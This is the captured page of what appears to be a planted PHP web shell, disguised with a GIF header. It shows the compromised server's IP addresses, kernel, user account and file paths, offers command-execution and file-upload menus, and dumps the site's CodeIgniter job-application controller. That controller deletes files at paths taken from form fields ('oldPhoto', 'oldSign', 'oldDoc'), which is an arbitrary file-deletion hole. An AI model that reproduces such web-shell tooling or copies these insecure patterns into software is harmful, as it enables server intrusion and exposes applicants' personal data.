GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.149.27.33
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/pdf/../../jobs/application/controllers/user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/pdf/../../jobs/application/controllers/user/Application.php
<?php

/**

 *
 * @author Softpro India Pvt. Ltd
 */
class Application extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("user/VacancyManagement");
        $this->load->model("user/ApplicationManagement");
        $this->load->model("user/DashboardManagement");
        $this->load->model("user/CategoryManagement");
        $this->load->model("user/DepartmentManagement");
        $this->load->model("user/UserManagement");
        $this->load->model("user/LocationManagement");
        $this->load->model("admin/CourseManagement");
    }

    public function applyForPosts() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $uniqueApplicationID = $this->session->userdata("application_id");
            $formAction;
            if ($this->session->userdata("application_id") != null || $this->session->userdata("application_id") != "") {
                $viewData["alreadyAppliedVacanciesDeatils"] = $this->ApplicationManagement->getApplicationsByApplicationDispID($uniqueApplicationID)->result();
                $viewData["formAction"] = "user/Application/updateAppliedPosts";
                $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"], $uniqueApplicationID)->result();
            } else {
                $viewData["alreadyAppliedVacanciesDeatils"] = array();
                $viewData["formAction"] = "user/Application/saveAppliedPosts";
                $viewData["app_details"] = array();
            }
            $curYear = date("Y");
            $currentDate = date("Y-m-d");
            //$vacancy = $this->VacancyManagement->getVacancies($currentDate, $userData["user_id"])->result();
            
            $vacancy = $this->VacancyManagement->getVacancies($currentDate,$userData["user_id"])->result();
            //echo $this->db->last_query();
            //print_r($vacancy);
            //exit;
            if (sizeof($vacancy) > 0) {
                $viewData["categories"] = $this->CategoryManagement->getCategories("DESC")->result();
                $viewData["vacancies"] = $vacancy;
                $viewData["vacancyStatsIsNull"] = false;
                //$viewData["departments"] = $this->DepartmentManagement->getDepartments()->result();
                $viewData["departments"] = $this->VacancyManagement->getDistictDepartmentOfAppliedVacancy($currentDate)->result();
            } else {
                $viewData["vacancyStatsIsNull"] = true;
            }
            if (sizeof($this->ApplicationManagement->checkUserApplicationAvaibility($userData["user_id"], $uniqueApplicationID)->result()) > 0) {
                $viewData["steps"] = $this->DashboardManagement->getStepsDetails()->result();
            }
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0];
            $this->load->view("user/applyForPost", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function saveAppliedPosts() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $selectedVacancies = $this->input->post("vacancies");
            if (!empty($selectedVacancies)) {
                $userData = $this->session->userdata("userData");
                $app_ids = array();
                $applications = array();
                $uniqueApplicationID = "APP" . substr(time(), 4);
                $this->db->trans_begin(); //transaction start
                foreach ($selectedVacancies as $vm_id) {
                    $array = array(
                        "vm_id" => $vm_id,
                        "um_id" => $userData["user_id"],
                        "am_disp_id" => $uniqueApplicationID,
                        "am_date" => date("Y-m-d H:i:s")
                    );
                    $app_id = $this->ApplicationManagement->saveApplications($array);
                    array_push($app_ids, $app_id);
                }
                $application_details = array("cdate" => $userData["user_dob"], "email" => $userData["user_email"], "um_id" => $userData["user_id"], "regdt" => date("Y-m-d"), "step1" => "T");
                $app_details_id = $this->ApplicationManagement->saveApplicationDetails($application_details);
                foreach ($app_ids as $id) {
                    $this->ApplicationManagement->updateApplication(array("app_details_id" => $app_details_id), $id);
                }
                $this->UserManagement->updateUser(array("um_id" => $userData["user_id"], "current_application_id" => $uniqueApplicationID));

                $this->db->trans_complete();    //transaction end

                $this->session->set_userdata("application_id", $uniqueApplicationID);
                if ($this->db->trans_status() !== FALSE) {
                    $this->session->set_flashdata("successMessage", "Applied Vacancy Data Is Saved Successfully.");
                    $this->db->trans_commit();
                    redirect("user/Dashboard");
                } else {
                    $this->session->set_flashdata("errorMessage", "Something Went Wrong. Try Again later.");
                    $this->db->trans_rollback();
                    $this->applyForPosts();
                }
            } else {
                $this->session->set_flashdata("errorMessage", "Select Atleast 1 Vacancy To Proceed.");
                $this->applyForPosts();
            }
        } else {
            redirect("Home");
        }
    }

    public function updateAppliedPosts() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $selectedVacancies = $this->input->post("vacancies");
            $uniqueApplicationID = $this->session->userdata("application_id");
            $app_details_id = $this->input->post("app_details_id");
            if (!empty($selectedVacancies)) {
                //$app_details_id = $this->ApplicationManagement->getApplicationsByApplicationDispID($uniqueApplicationID)->result()[0]->app_details_id;
                if ($this->ApplicationManagement->deleteApplicationsUsingApplicationDispID($uniqueApplicationID)) {
                    $this->db->trans_start(); //transaction start
                    foreach ($selectedVacancies as $vm_id) {
                        $array = array(
                            "vm_id" => $vm_id,
                            "um_id" => $userData["user_id"],
                            "am_disp_id" => $uniqueApplicationID,
                            "am_date" => date("Y-m-d H:i:s"),
                            "app_details_id" => $app_details_id
                        );
                        $this->ApplicationManagement->saveApplications($array);
                    }
                    $this->db->trans_complete();    //transaction end
                    if ($this->db->trans_status() !== FALSE) {
                        $this->session->set_flashdata("successMessage", "Applied Vacancy Data Is updated Successfully.");
                        $this->db->trans_commit();
                        redirect("user/Dashboard");
                    } else {
                        $this->session->set_flashdata("errorMessage", "Something Went Wrong. Try Again later.");
                        $this->db->trans_rollback();
                        $this->applyForPosts();
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Update Applied Posts. Try Again later.");
                    $this->applyForPosts();
                }
            } else {
                $this->session->set_flashdata("errorMessage", "Select Atleast 1 Vacancy To Proceed.");
                $this->applyForPosts();
            }
        } else {
            redirect("Home");
        }
    }

    public function personalDetails() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $viewData["states"] = $this->LocationManagement->getStates()->result();
            $viewData["secondStep"] = $this->DashboardManagement->getStepsDetails(2)->result()[0];
            $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"])->result()[0];
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0]; //compulsaory in all steps
            $this->load->view("user/personalDetails", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function savePersonalDetails() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $this->form_validation->set_rules("fullName", "full name", "required", array("required" => "Enter Full Name."));
            $this->form_validation->set_rules("gender", "gender", "required", array("required" => "Choose Gender."));
            $this->form_validation->set_rules("dob", "D.O.B.", "required", array("required" => "Select D.O.B."));
            $this->form_validation->set_rules("maritalStatus", "marital status", "required", array("required" => "Select Marital Status."));
            $this->form_validation->set_rules("fatherName", "father name", "required", array("required" => "Enter Father Name."));
            $this->form_validation->set_rules("mobile", "mobile", "required|numeric", array("required" => "Enter Mobile.", "numeric" => "Mobile Must Be In Digits."));
            $this->form_validation->set_rules("email", "email", "required", array("required" => "Enter Email."));
            $this->form_validation->set_rules("p_address", "present street / appartment no", "required", array("required" => "Enter Present Street / Appartment No."));
            $this->form_validation->set_rules("p_state", "present state / appartment no", "required", array("required" => "Enter Present State."));
            $this->form_validation->set_rules("p_city", "present city", "required", array("required" => "Enter Present City."));
            $this->form_validation->set_rules("p_pincode", "present pincode", "required", array("required" => "Enter Present Pincode"));
            $this->form_validation->set_rules("per_address", "permanent street / appartment no", "required", array("required" => "Enter Permanent Street / Appartment No."));
            $this->form_validation->set_rules("per_state", "permanent state / appartment no", "required", array("required" => "Enter Permanent State."));
            $this->form_validation->set_rules("per_city", "permanent city", "required", array("required" => "Enter Permanent City."));
            $this->form_validation->set_rules("per_pincode", "permanent pincode", "required", array("required" => "Enter Permanent Pincode"));
            $this->form_validation->set_rules("aadhar", "adhar", "numeric", array("numeric" => "Only Digits Are Allowed In Aadhar Number. "));
            $photo;
            $sign;
            if ($this->form_validation->run() == false) {
                $this->personalDetails();
            } else if ($this->input->post("step2") == 'F') {
                if (empty($_FILES['photo']['name'])) {
                    $this->form_validation->set_rules('photo', 'photograph', 'required', array("required" => "Select An Images To Upload As Photograph."));
                    $this->form_validation->run();
                    $this->personalDetails();
                } else if (empty($_FILES['sign']['name'])) {
                    $this->form_validation->set_rules('sign', 'signature', 'required', array("required" => "Select An Images To Upload As Signature."));
                    $this->form_validation->run();
                    $this->personalDetails();
                } else {
                    $fileConfig["upload_path"] = "./assets/user/uploads/photo_sign/";
                    $fileConfig["allowed_types"] = "jpg|png|jpeg|webp";
                    $fileConfig["max_size"] = "512";
                    $fileConfig["file_ext_tolower"] = TRUE;
                    $fileConfig["encrypt_name"] = TRUE;

                    $this->load->library("upload", $fileConfig); //library to upload data
                    $userData = $this->session->userdata("userData");
                    $photo;
                    $sign;
                    if (!$this->upload->do_upload("photo")) {
                        $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                        $this->personalDetails();
                    } else {
                        $photo = $this->upload->data()["file_name"];
                    }
                    if (!$this->upload->do_upload("sign")) {
                        $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                        $this->personalDetails();
                    } else {
                        $sign = $this->upload->data()["file_name"];
                    }
                    $userData = $this->session->userdata("userData");
                    $application_personal_Details = array(
                        "photo" => "assets/user/uploads/photo_sign/" . $photo,
                        "sig" => "assets/user/uploads/photo_sign/" . $sign,
                        "cper" => addslashes(trim($this->input->post("fullName"))),
                        "gender" => addslashes(trim($this->input->post("gender"))),
                        "m_status" => addslashes(trim($this->input->post("maritalStatus"))),
                        "fanm" => addslashes(trim($this->input->post("fatherName"))),
                        "mailadd" => addslashes(trim($this->input->post("p_address"))),
                        "mailing_city_id" => addslashes(trim($this->input->post("p_city"))),
                        "mailing_state_id" => addslashes(trim($this->input->post("p_state"))),
                        "cpin" => addslashes(trim($this->input->post("p_pincode"))),
                        "peradd" => addslashes(trim($this->input->post("per_address"))),
                        "per_city_id" => addslashes(trim($this->input->post("per_city"))),
                        "per_state_id" => addslashes(trim($this->input->post("per_state"))),
                        "ppin" => addslashes(trim($this->input->post("per_pincode"))),
                        "pno" => addslashes(trim($this->input->post("mobile"))),
                        "email" => addslashes(trim($this->input->post("email"))),
                        "pan" => addslashes(trim($this->input->post("pan"))),
                        "adh" => addslashes(trim($this->input->post("aadhar"))),
                        "cdate" => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post("dob")))),
                        "step2" => "T"
                    );
                    $user_details = array(
                        "um_photograph" => "assets/user/uploads/photo_sign/" . $photo,
                        "um_sign" => "assets/user/uploads/photo_sign/" . $sign,
                        "um_name" => addslashes(trim($this->input->post("fullName"))),
                        "um_gender" => addslashes(trim($this->input->post("gender"))),
                        "um_mailing_address" => addslashes(trim($this->input->post("p_address"))),
                        "um_mail_city_id" => addslashes(trim($this->input->post("p_city"))),
                        "um_mail_state_id" => addslashes(trim($this->input->post("p_state"))),
                        "um_mail_pincode" => addslashes(trim($this->input->post("p_pincode"))),
                        "um_per_address" => addslashes(trim($this->input->post("per_address"))),
                        "um_per_city_id" => addslashes(trim($this->input->post("per_city"))),
                        "um_per_state_id" => addslashes(trim($this->input->post("per_state"))),
                        "um_per_pincode" => addslashes(trim($this->input->post("per_pincode"))),
                        "um_mobile" => addslashes(trim($this->input->post("mobile"))),
                        "um_dob" => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post("dob")))),
                        "um_email" => addslashes(trim($this->input->post("email"))),
                        "um_pan" => addslashes(trim($this->input->post("pan"))),
                        "um_aadhar" => addslashes(trim($this->input->post("aadhar"))),
                        "um_id" => $userData["user_id"]
                    );
                    $this->db->trans_start();

                    $this->ApplicationManagement->upudateApplicationDetails($application_personal_Details, $this->input->post("app_details_id"));
                    $this->UserManagement->updateUser($user_details, $this->input->post("app_details_id"));

                    $this->db->trans_complete();
                    if ($this->db->trans_status() !== false) {
                        $this->session->set_flashdata('successMessage', 'Persoanl Details Updated Successfully');
                        redirect("user/Dashboard");
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Update Persoanl Details.");
                        $this->personalDetails();
                    }
                }
            } else if ($this->input->post("step2") == 'T') {
                $fileConfig["upload_path"] = "./assets/user/uploads/photo_sign/";
                $fileConfig["allowed_types"] = "jpg|png|jpeg|webp";
                $fileConfig["max_size"] = "512";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["encrypt_name"] = TRUE;
                $this->load->library("upload", $fileConfig); //library to upload data
                if (empty($_FILES['photo']['name'])) {
                    //not updated the photo
                    $photo = $this->input->post("oldPhoto");
                } else {
                    //updated the photo
                    if (!$this->upload->do_upload("photo")) {
                        $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                        redirect("user/Application/personalDetails");
                    } else {
                        $photo = "assets/user/uploads/photo_sign/" . $this->upload->data()["file_name"];
                        if (file_exists("./" . $this->input->post("oldPhoto"))) {
                            unlink("./" . $this->input->post("oldPhoto"));
                        }
                    }
                }

                if (empty($_FILES['sign']['name'])) {
                    //not updated the photo
                    $sign = $this->input->post("oldSign");
                } else {
                    //updated the photo
                    if (!$this->upload->do_upload("sign")) {
                        $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                        $this->personalDetails();
                    } else {
                        $sign = "assets/user/uploads/photo_sign/" . $this->upload->data()["file_name"];
                        if (file_exists("./" . $this->input->post("oldSign"))) {
                            unlink("./" . $this->input->post("oldSign"));
                        }
                    }
                }
                $userData = $this->session->userdata("userData");
                $application_personal_Details = array(
                    "photo" => $photo,
                    "sig" => $sign,
                    "cper" => addslashes(trim($this->input->post("fullName"))),
                    "gender" => addslashes(trim($this->input->post("gender"))),
                    "m_status" => addslashes(trim($this->input->post("maritalStatus"))),
                    "fanm" => addslashes(trim($this->input->post("fatherName"))),
                    "mailadd" => addslashes(trim($this->input->post("p_address"))),
                    "mailing_city_id" => addslashes(trim($this->input->post("p_city"))),
                    "mailing_state_id" => addslashes(trim($this->input->post("p_state"))),
                    "cpin" => addslashes(trim($this->input->post("p_pincode"))),
                    "peradd" => addslashes(trim($this->input->post("per_address"))),
                    "per_city_id" => addslashes(trim($this->input->post("per_city"))),
                    "per_state_id" => addslashes(trim($this->input->post("per_state"))),
                    "ppin" => addslashes(trim($this->input->post("per_pincode"))),
                    "pno" => addslashes(trim($this->input->post("mobile"))),
                    "email" => addslashes(trim($this->input->post("email"))),
                    "pan" => addslashes(trim($this->input->post("pan"))),
                    "adh" => addslashes(trim($this->input->post("aadhar"))),
                    "cdate" => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post("dob")))),
                    "step2" => "T"
                );
                $user_details = array(
                    "um_photograph" => $photo,
                    "um_sign" => $sign,
                    "um_name" => addslashes(trim($this->input->post("fullName"))),
                    "um_gender" => addslashes(trim($this->input->post("gender"))),
                    "um_mailing_address" => addslashes(trim($this->input->post("p_address"))),
                    "um_mail_city_id" => addslashes(trim($this->input->post("p_city"))),
                    "um_mail_state_id" => addslashes(trim($this->input->post("p_state"))),
                    "um_mail_pincode" => addslashes(trim($this->input->post("p_pincode"))),
                    "um_per_address" => addslashes(trim($this->input->post("per_address"))),
                    "um_per_city_id" => addslashes(trim($this->input->post("per_city"))),
                    "um_per_state_id" => addslashes(trim($this->input->post("per_state"))),
                    "um_per_pincode" => addslashes(trim($this->input->post("per_pincode"))),
                    "um_mobile" => addslashes(trim($this->input->post("mobile"))),
                    "um_dob" => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post("dob")))),
                    "um_email" => addslashes(trim($this->input->post("email"))),
                    "um_pan" => addslashes(trim($this->input->post("pan"))),
                    "um_aadhar" => addslashes(trim($this->input->post("aadhar"))),
                    "um_id" => $userData["user_id"]
                );
                //print_r($application_personal_Details);
                $this->db->trans_start();

                $this->ApplicationManagement->upudateApplicationDetails($application_personal_Details, $this->input->post("app_details_id"));
                $this->UserManagement->updateUser($user_details, $this->input->post("app_details_id"));

                $this->db->trans_complete();
                if ($this->db->trans_status() !== false) {
                    $this->session->set_flashdata('successMessage', 'Persoanl Details Updated Successfully');
                    redirect("user/Dashboard");
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Update Persoanl Details.");
                    $this->personalDetails();
                }
            }
        } else {
            redirect("Home");
        }
    }

    public function addQualifications() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $viewData["thirdStep"] = $this->DashboardManagement->getStepsDetails(3)->result()[0];
            $viewData["pgCourses"] = $this->CourseManagement->getCoursesByType("PG")->result();
            $viewData["ugCourses"] = $this->CourseManagement->getCoursesByType("UG")->result();
            $viewData["courses"] = $this->CourseManagement->getCourses("T")->result();
            $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"])->result()[0];
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0]; //compulsaory in all steps
            $this->load->view("user/addQualifications", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function saveQualifications() {
        if ($this->sessionvalidator->validateSession("userData")) {

            $this->form_validation->set_rules("univ10", "high school / 10th board or university", "required", array("required" => "Enter High School / 10th Board Or University."));
            $this->form_validation->set_rules("subject10", "high school / 10th subjects", "required", array("required" => "Enter High School / 10th Subjects."));
            $this->form_validation->set_rules("year10", "high school / 10th passing year", "required", array("required" => "Enter High School / 10th Passing Year."));
            $this->form_validation->set_rules("per10", "high school / 10th cgpa or marks percentage ", "required", array("required" => "Enter High School / 10th CGPA Or Percentage."));
            $this->form_validation->set_rules("div10", "high school / 10th division.", "required", array("required" => "Enter High School / 10th Division."));

            $this->form_validation->set_rules("univ12", "intermidiate / 12th board or university", "required", array("required" => "Enter Intermidiate / 12th Board Or University."));
            $this->form_validation->set_rules("subject12", "intermidiate / 12th subjects", "required", array("required" => "Enter Intermidiate / 12th Subjects."));
            $this->form_validation->set_rules("year12", "intermidiate / 12th passing year", "required", array("required" => "Enter Intermidiate / 12th Passing Year."));
            $this->form_validation->set_rules("per12", "intermidiate / 12th cgpa or marks percentage", "required", array("required" => "Enter Intermidiate / 12th CGPA Or Percentage."));
            $this->form_validation->set_rules("div12", "intermidiate / 12th division.", "required", array("required" => "Enter Intermidiate / 12th Division."));

            $this->form_validation->set_rules("exam1", "graduation exam name", "required", array("required" => "Select Graduation Exam Name."));
            if ($this->input->post("exam1") == "other") {
                $this->form_validation->set_rules("other1", "graduation other exam name", "required", array("required" => "Enter Graduation Other Exam Name."));
            }
            $this->form_validation->set_rules("univ1", "graduation university", "required", array("required" => "Enter Graduation University."));
            $this->form_validation->set_rules("subject1", "graduation subjects", "required", array("required" => "Enter Graduation Subjects."));
            $this->form_validation->set_rules("year1", "graduation passing year", "required", array("required" => "Enter Graduation Passing Year."));
            $this->form_validation->set_rules("per1", "graduation cgpa or marks percentage", "required", array("required" => "Enter Graduation CGPA Or Percentage."));
            $this->form_validation->set_rules("div1", "graduation division.", "required", array("required" => "Enter Graduation Division."));

            $this->form_validation->set_rules("exam2", "post graduation exam name", "required", array("required" => "Select Post Graduation Exam Name."));
            if ($this->input->post("exam2") == "other") {
                $this->form_validation->set_rules("other2", " post graduation other exam name", "required", array("required" => "Enter Post Graduation Other Exam Name."));
            }
            $this->form_validation->set_rules("univ2", "post graduation university", "required", array("required" => "Enter Post Graduation University."));
            $this->form_validation->set_rules("subject2", "post graduation subjects", "required", array("required" => "Enter Post Graduation Subjects."));
            $this->form_validation->set_rules("year2", "post graduation passing year", "required", array("required" => "Enter Post Graduation Passing Year."));
            $this->form_validation->set_rules("per2", "post graduation cgpa or marks percentage", "required", array("required" => "Enter Post Graduation CGPA Or Percentage."));
            $this->form_validation->set_rules("div2", "post graduation division.", "required", array("required" => "Enter Post Graduation Division."));
            $this->form_validation->set_rules("phd", "select phd.", "required", array("required" => "Select P.H.D. Status."));

            if ($this->input->post("phd") != "NA") {
                $this->form_validation->set_rules("phuniv", "p.h.d. university", "required", array("required" => "Enter P.H.D. University."));
                $this->form_validation->set_rules("phtopic", "p.h.d. topic", "required", array("required" => "Enter P.H.D. Topic."));
                $this->form_validation->set_rules("phstream", "p.h.d. stream", "required", array("required" => "Select P.H.D. Stream."));
                $this->form_validation->set_rules("phyear", "p.h.d. year", "required", array("required" => "Enter P.H.D. year."));
                if ($this->input->post("phstream") == "other") {
                    $this->form_validation->set_rules("phother", "p.h.d. other stream ", "required", array("required" => "Enter P.H.D. Other Stream."));
                }
            }
            $this->form_validation->set_rules("net", "net Status.", "required", array("required" => "Select NET Status."));

            if ($this->input->post("net") == "T") {
                $this->form_validation->set_rules("netstream", "net stream", "required", array("required" => "Select NET Stream."));
                $this->form_validation->set_rules("netyear", "net qulifying year", "required", array("required" => "Select NET Qualifying Year."));
                if ($this->input->post("netstream") == "other") {
                    $this->form_validation->set_rules("netother", "net other stream ", "required", array("required" => "Enter NET Other Stream."));
                }
            }


            if ($this->form_validation->run() == false) {
                $this->addQualifications();
            } else {
                $fileConfig["upload_path"] = "./assets/user/uploads/docs/";
                $fileConfig["allowed_types"] = "pdf";
                $fileConfig["max_size"] = "2048";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["encrypt_name"] = TRUE;
                $docs = "NA";
                $this->load->library("upload", $fileConfig); //library to upload data
                //echo $this->input->post("oldDoc");
                //exit;
                //exam names
                $exam10 = $this->input->post("exam10");
                $exam12 = $this->input->post("exam12");
                $exam1 = $this->input->post("exam1");       //for  graduation
                $exam2 = $this->input->post("exam2");       //for post graduation
                $exam0 = $this->input->post("exam0");       //for other graduation
                //university / boards names
                $univ10 = addslashes(trim($this->input->post("univ10")));
                $univ12 = addslashes(trim($this->input->post("univ12")));
                $univ1 = addslashes(trim($this->input->post("univ1")));       //for  graduation
                $univ2 = addslashes(trim($this->input->post("univ2")));       //for post graduation
                $univ0 = addslashes(trim($this->input->post("univ0")));       //for other graduation
                //subjects 
                $subject10 = addslashes(trim($this->input->post("subject10")));
                $subject12 = addslashes(trim($this->input->post("subject12")));
                $subject1 = addslashes(trim($this->input->post("subject1")));        //for  graduation
                $subject2 = addslashes(trim($this->input->post("subject2")));        //for post graduation
                $subject0 = addslashes(trim($this->input->post("subject0")));        //for other graduation
                //years
                $year10 = $this->input->post("year10");
                $year12 = $this->input->post("year12");
                $year1 = $this->input->post("year1");      //for  graduation
                $year2 = $this->input->post("year2");      //for post graduation
                $year0 = $this->input->post("year0");      //for other graduation
                //percentages
                $per10 = $this->input->post("per10");
                $per12 = $this->input->post("per12");
                $per1 = $this->input->post("per1");        //for  graduation
                $per2 = $this->input->post("per2");        //for post graduation
                $per0 = $this->input->post("per0");        //for other graduation
                //divisions
                $div10 = $this->input->post("div10");
                $div12 = $this->input->post("div12");
                $div1 = $this->input->post("div1");        //for  graduation
                $div2 = $this->input->post("div2");        //for post graduation
                $div0 = $this->input->post("div0");        //for other graduation
                //others

                $other1 = addslashes(trim($this->input->post("other1")));        //for  graduation
                $other2 = addslashes(trim($this->input->post("other2")));        //for post graduation
                $other0 = addslashes(trim($this->input->post("other0")));        //for other graduation
                //phd variable

                $phd = $this->input->post("phd");
                $phuniv = addslashes(trim($this->input->post("phuniv")));
                $phtopic = addslashes(trim($this->input->post("phtopic")));
                $phstream = $this->input->post("phstream");
                $phyear = $this->input->post("phyear");
                $phother = addslashes(trim($this->input->post("phother")));

                //net varibales 
                $net = $this->input->post("net");
                $netstream = $this->input->post("netstream");
                $netyear = $this->input->post("netyear");
                $netother = addslashes(trim($this->input->post("netother")));




                if ($year10 > $year12) {
                    $this->session->set_flashdata("errorMessage", "Intermidiate / 12th Passing Year Must Be Of After 1oth Passing Year.");
                    $this->addQualifications();
                } else if ($year12 > $year1) {
                    $this->session->set_flashdata("errorMessage", "Graduation Passing Year Must Be Of After 12th Passing Year.");
                    $this->addQualifications();
                } else if ($year1 > $year2) {
                    $this->session->set_flashdata("errorMessage", "Post Graduation Passing Year Must Be Of After Graduation Passing Year.");
                    $this->addQualifications();
                } else {
                    if (empty($_FILES['docs']['name'])) {
                        $docs = ($this->input->post("oldDoc") != null || $this->input->post("oldDoc") != "null") ? $this->input->post("oldDoc") : "NA";
                    } else {
                        if ($this->input->post("oldDoc") != null || $this->input->post("oldDoc") != "NA" || $this->input->post("oldDoc") != "") {
                            if (!$this->upload->do_upload("docs")) {
                                $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                                redirect("user/Application/addQualifications");
                            } else {
                                $docs = "assets/user/uploads/docs/" . $this->upload->data()["file_name"];
                                if (file_exists("./" . $this->input->post("oldDoc"))) {
                                    unlink("./" . $this->input->post("oldDoc"));
                                }
                            }
                        } else {
                            if (!$this->upload->do_upload("docs")) {
                                $this->session->set_flashdata("errorMessage", $this->upload->display_errors());
                                redirect("user/Application/addQualifications");
                            } else {
                                $docs = "assets/user/uploads/docs/" . $this->upload->data()["file_name"];
                            }
                        }
                    }
                    $applicationData = array(
                        "app_details_id" => $this->input->post("app_details_id"),
                        "exam10" => $exam10,
                        "univ10" => $univ10,
                        "subject10" => $subject10,
                        "per10" => $per10,
                        "div10" => $div10,
                        "year10" => $year10,
                        "exam12" => $exam12,
                        "univ12" => $univ12,
                        "subject12" => $subject12,
                        "per12" => $per12,
                        "div12" => $div12,
                        "year12" => $year12,
                        "exam1" => $exam1,
                        "univ1" => $univ1,
                        "subject1" => $subject1,
                        "per1" => $per1,
                        "div1" => $div1,
                        "year1" => $year1,
                        "other1" => ($other1 == null || $other1 == "") ? "" : $other1,
                        "exam2" => $exam2,
                        "univ2" => $univ2,
                        "subject2" => $subject2,
                        "per2" => $per2,
                        "div2" => $div2,
                        "year2" => $year2,
                        "other2" => ($other2 == null || $other2 == "") ? "" : $other2,
                        "exam0" => ($exam0 == null || $exam0 == "") ? "" : $exam0,
                        "univ0" => ($univ0 == null || $univ0 == "") ? "" : $univ0,
                        "subject0" => ($subject0 == null || $subject0 == "") ? "" : $subject0,
                        "per0" => ($per0 == null || $per0 == "") ? "" : $per0,
                        "div0" => ($div0 == null || $div0 == "") ? "" : $div0,
                        "year0" => ($year0 == null || $year0 == "") ? "" : $year0,
                        "other0" => ($other0 == null || $other0 == "") ? "" : $other0,
                        "phd" => ($phd == null || $phd == "") ? "" : $phd,
                        "phuniv" => ($phuniv == null || $phuniv == "") ? "" : $phuniv,
                        "phtopic" => ($phtopic == null || $phtopic == "") ? "" : $phtopic,
                        "phstream" => ($phstream == null || $phstream == "") ? "" : $phstream,
                        "phyear" => ($phyear == null || $phyear == "") ? "" : $phyear,
                        "phother" => ($phother == null || $phother == "") ? "" : $phother,
                        "net" => ($net == null || $net == "") ? "" : $net,
                        "netstream" => ($netstream == null || $netstream == "") ? "" : $netstream,
                        "netyear" => ($netyear == null || $netyear == "") ? "" : $netyear,
                        "netother" => ($netother == null || $netother == "") ? "" : $netother,
                        "docs" => ($docs == null || $docs == "") ? "" : $docs,
                        "step3" => "T"
                    );
                    //print_r($applicationData);
                    $this->db->trans_start();
                    $this->ApplicationManagement->upudateApplicationDetails($applicationData, $this->input->post("app_details_id"));
                    $this->db->trans_complete();
                    if ($this->db->trans_status() !== false) {
                        $this->session->set_flashdata("successMessage", "Qualification Data Updated Successfully.");
                        redirect("user/Dashboard");
                    } else {
                        $this->session->set_flashdata("successMessage", "Failed To Update Qualification Data.");
                        redirect("user/Application/addQualifications");
                    }
                }
            }
        } else {
            redirect("Home");
        }
    }

    public function researchAndPublication() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $viewData["forthStep"] = $this->DashboardManagement->getStepsDetails(4)->result()[0];
            $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"])->result()[0];
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0]; //compulsaory in all steps
            $this->load->view("user/researchAndPublication", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function saveResearchAndPublication() {
        $journal = $this->input->post("journal");
        $workshop = $this->input->post("workshop");
        $books = $this->input->post("books");
        $chapters = $this->input->post("chapters");
        $seminar = $this->input->post("seminar");
        $conference = $this->input->post("conference");
        $extra = $this->input->post("extra");
        if (($journal == null || $journal == "") && ($workshop == null || $workshop == "") && ($books == null || $books == "") && ($chapters == null || $chapters == "") && ($seminar == null || $seminar == "") && ($conference == null || $conference == "") && ($extra == null || $extra == "")) {
            redirect("user/Dashboard");
        } else {
            $applicationData = array(
                "journal" => ($journal == null || $journal == "") ? 0 : $journal,
                "workshop" => ($workshop == null || $workshop == "") ? 0 : $workshop,
                "books" => ($books == null || $books == "") ? 0 : $books,
                "chapters" => ($chapters == null || $chapters == "") ? 0 : $chapters,
                "seminar" => ($seminar == null || $seminar == "") ? 0 : $seminar,
                "conference" => ($conference == null || $conference == "") ? 0 : $conference,
                "extra" => ($extra == null || $extra == "") ? "" : $extra,
                "step4" => "T"
            );
            //print_r($applicationData);

            $this->db->trans_start();
            $this->ApplicationManagement->upudateApplicationDetails($applicationData, $this->input->post("app_details_id"));
            $this->db->trans_complete();
            if ($this->db->trans_status() !== false) {
                $this->session->set_flashdata("successMessage", "Qualification Data Updated Successfully.");
                redirect("user/Dashboard");
            } else {
                $this->session->set_flashdata("successMessage", "Failed To Update Reseach And Publications Data.");
                redirect("user/Application/researchAndPublication");
            }
        }
    }

    public function workExperienceAndReference() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $viewData["fifthStep"] = $this->DashboardManagement->getStepsDetails(5)->result()[0];
